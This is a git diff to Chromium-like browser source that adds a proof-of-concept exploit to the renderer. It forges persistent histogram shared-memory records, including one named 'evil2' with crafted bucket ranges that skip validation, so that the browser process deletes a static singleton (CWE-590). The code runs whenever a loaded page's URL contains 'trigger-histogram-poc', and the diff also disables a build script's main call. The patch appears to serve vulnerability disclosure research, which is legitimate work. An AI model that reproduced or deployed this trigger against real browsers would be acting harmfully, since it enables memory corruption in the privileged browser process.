diff --git a/build/vs_toolchain.py b/build/vs_toolchain.py index 88489da743f6d..ef2ec5e69b41c 100755 --- a/build/vs_toolchain.py +++ b/build/vs_toolchain.py @@ -669,4 +669,5 @@ def main(): if __name__ == '__main__': - sys.exit(main()) + #sys.exit(main()) + pass diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc index d6be4532c6208..0ade28f173167 100644 --- a/content/renderer/render_frame_impl.cc +++ b/content/renderer/render_frame_impl.cc @@ -32,10 +32,16 @@ #include "base/memory/raw_ptr.h" #include "base/memory/raw_ref.h" #include "base/memory/weak_ptr.h" +#include "base/metrics/bucket_ranges.h" #include "base/metrics/field_trial.h" #include "base/metrics/field_trial_params.h" +#include "base/metrics/histogram.h" #include "base/metrics/histogram_functions.h" #include "base/metrics/histogram_macros.h" +#include "base/metrics/metrics_hashes.h" +#include "base/metrics/persistent_histogram_allocator.h" +#include "base/metrics/statistics_recorder.h" +#include "base/process/process.h" #include "base/notreached.h" #include "base/observer_list.h" #include "base/process/process.h" @@ -4136,9 +4142,111 @@ void RenderFrameImpl::DidHandleOnloadEvents() { observer.DidHandleOnloadEvents(); } +// ===================================================================== +// POC: Compromised-renderer simulation. A real attacker with renderer +// code execution would write these forged PersistentHistogramData blocks +// directly into the writable UMA shared-memory region. We use the +// allocator's own (public) AllocateHistogram() helper to avoid having to +// hand-roll the on-disk PersistentMemoryAllocator block layout; this is +// purely a convenience for the POC and produces byte-identical shmem +// records to a hand-forged attack. +static void PocForgeHistogramShmemRecords() { + static bool g_ran = false; + if (g_ran) { + return; + } + g_ran = true; + + base::GlobalHistogramAllocator* alloc = base::GlobalHistogramAllocator::Get(); + if (!alloc) { + LOG(ERROR) << "POC: no GlobalHistogramAllocator in renderer; aborting"; + return; + } + LOG(ERROR) << "POC: renderer forging histogram shmem records"; + + // ------------------------------------------------------------------- + // Record 1: a *valid* HISTOGRAM named "dummy_histogram" so that the + // browser registers a heap Histogram at HashMetricName("dummy_histogram") + // in its StatisticsRecorder. We can use the normal FactoryGet path for + // this because (min=1, max=100, bucket_count=50) passes + // InspectConstructionArguments(). Factory::Build() will call + // AllocateHistogram() on the global persistent allocator and + // FinalizeHistogram() to make it iterable by the browser. + base::HistogramBase* h1 = base::Histogram::FactoryGet( + "dummy_histogram", /*minimum=*/1, /*maximum=*/100, + /*bucket_count=*/50, base::HistogramBase::kNoFlags); + // Ensure the browser-side merge actually processes it (delta non-empty). + h1->Add(50); + LOG(ERROR) << "POC: record 1 (dummy_histogram) created, type=" + << h1->GetHistogramType(); + + // ------------------------------------------------------------------- + // Record 2: an *invalid* HISTOGRAM "evil2" with bucket_count=2 and + // declared_min == declared_max == 5. We bypass the renderer-side + // InspectConstructionArguments() by calling AllocateHistogram() directly + // with hand-crafted BucketRanges = [0, 5, 100]. + // + // Browser-side flow for this record: + // CreateHistogram() -> accepts bucket_count==2, range(1)==5==min, + // range(bucket_count-1)==range(1)==5==max + // SerializeInfoImpl -> writes declared_min=5, declared_max=5, bc=2 + // ReadHistogramArguments -> accepts (max>=min, bc>=2) + // FactoryGetInternal("evil2",5,5,2) + // -> InspectConstructionArguments: kBucketsInvalidMinMaxSame + // -> returns DummyHistogram::GetInstance() (static NoDestructor) + // ValidateRangeChecksum -> DUMMY_HISTOGRAM short-circuit -> true + // RegisterOrDeleteDuplicate(DummyHistogram singleton) + // -> hash collides with Record 1's heap Histogram + // -> delete on static-storage singleton (CWE-590) + static constexpr base::HistogramBase::Sample32 kEvilRanges[] = {0, 5, 100}; + base::BucketRanges* evil_ranges = + new base::BucketRanges(base::span(kEvilRanges)); + // The allocator stores a back-reference into this BucketRanges; register + // it with the StatisticsRecorder so it's never freed (matches what + // Factory::Build() would do). + const base::BucketRanges* registered_ranges = + base::StatisticsRecorder::RegisterOrDeleteDuplicateRanges(evil_ranges); + + base::PersistentHistogramAllocator::Reference ref2 = 0; + std::unique_ptr h2 = alloc->AllocateHistogram( + base::HISTOGRAM, "evil2", base::HashMetricName("evil2"), + /*minimum=*/5, /*maximum=*/5, registered_ranges, + base::HistogramBase::kNoFlags, &ref2); + if (!h2 || !ref2) { + LOG(ERROR) << "POC: AllocateHistogram for evil2 FAILED (h2=" << h2.get() + << " ref=" << ref2 << ")"; + return; + } + // Non-empty delta so the browser doesn't skip the merge. + h2->Add(5); + // Mark iterable so the browser's PersistentHistogramAllocator::Iterator + // finds it. + alloc->FinalizeHistogram(ref2, /*registered=*/true); + // Intentionally leak |h2| so its PersistentSampleVector destructor cannot + // perturb shmem state before the browser reads it. + h2.release(); + LOG(ERROR) << "POC: record 2 (evil2) created, ref=" << ref2; + + // ------------------------------------------------------------------- + // Terminate the renderer. This triggers + // SubprocessMetricsProvider::RenderProcessExited + // -> DeregisterSubprocessAllocator + // -> MergeHistogramDeltasFromAllocator (in the browser process) + // which iterates the shmem we just wrote. + LOG(ERROR) << "POC: terminating renderer to trigger browser-side merge"; + base::Process::TerminateCurrentProcessImmediately(0); +} +// ===================================================================== + void RenderFrameImpl::DidFinishLoad() { TRACE_EVENT1("navigation,benchmark,rail", "RenderFrameImpl::didFinishLoad", "frame_token", frame_token_); + { + GURL url = static_cast(frame_->GetDocument().Url()); + if (url.spec().find("trigger-histogram-poc") != std::string::npos) { + PocForgeHistogramShmemRecords(); + } + } if (!frame_->Parent()) { TRACE_EVENT_INSTANT1("WebCore,benchmark,rail", "LoadFinished", TRACE_EVENT_SCOPE_PROCESS, "isOutermostMainFrame", diff --git a/third_party/search_engines_data/resources_internal b/third_party/search_engines_data/resources_internal deleted file mode 160000 index d0158bfe38a17..0000000000000 --- a/third_party/search_engines_data/resources_internal +++ /dev/null @@ -1 +0,0 @@ -Subproject commit d0158bfe38a1759ead13e53ed0332aefdb0f512b